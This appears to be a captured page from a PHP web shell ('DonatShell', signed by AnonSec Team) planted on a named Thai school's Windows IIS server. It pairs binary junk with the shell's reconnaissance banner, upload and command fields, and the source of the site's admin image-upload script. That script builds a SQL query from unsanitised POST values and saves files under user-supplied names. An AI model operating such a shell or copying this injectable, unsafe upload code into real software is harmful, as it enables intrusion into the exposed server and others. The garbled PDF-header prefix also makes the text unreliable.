%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/admin/upload_img_dep.php
<?PHP
session_start(); 
if($_SESSION["UserAccess"]=="")
{
  header('Location: index.php');
  exit();
}
?>
<html>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
<head>
<title>Upload File</title> 
</head>
<body>
<BR><BR><BR><BR><BR>
<div align="center">
<button type="button" class="btn btn-secondary btn-lg" onclick="Close()">ปิดหน้าต่าง / Close Window</button>
</center>
<?php
//echo $_FILES["fileToUpload"]["tmp_name"];
if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],"../img_department/".$_POST['dep_id']."-".$_POST['imgField'].".png"))
{
    include "conf.php";
    $sql="update department set ".$_POST['imgField']."='".$_POST['dep_id']."-".$_POST['imgField'].".png' where dep_id=".$_POST['dep_id'];
    //echo $sql."<BR>";
    if ($conn->query($sql) != TRUE) { 
        echo "Error: " . $sql . "<br>" . $conn->error;
        exit();
    }  
    echo "<script>swal('Good job!', 'Upload รูปภาพเสร็จสมบูรณ์.', 'success');</script>";
	//echo "<script>alert(\"Upload complete.\"); window.close(); </script>";
} else {
    echo "<script>swal('Warning job!', 'ไม่สามารถทำการ upload รูปภาพได้', 'warning');</script>";
}

?>
</body>
</html>
<script>
   function Close() {
       //alert("OK");
       window.close();
   } 
</script>

Anon7 - 2022
AnonSec Team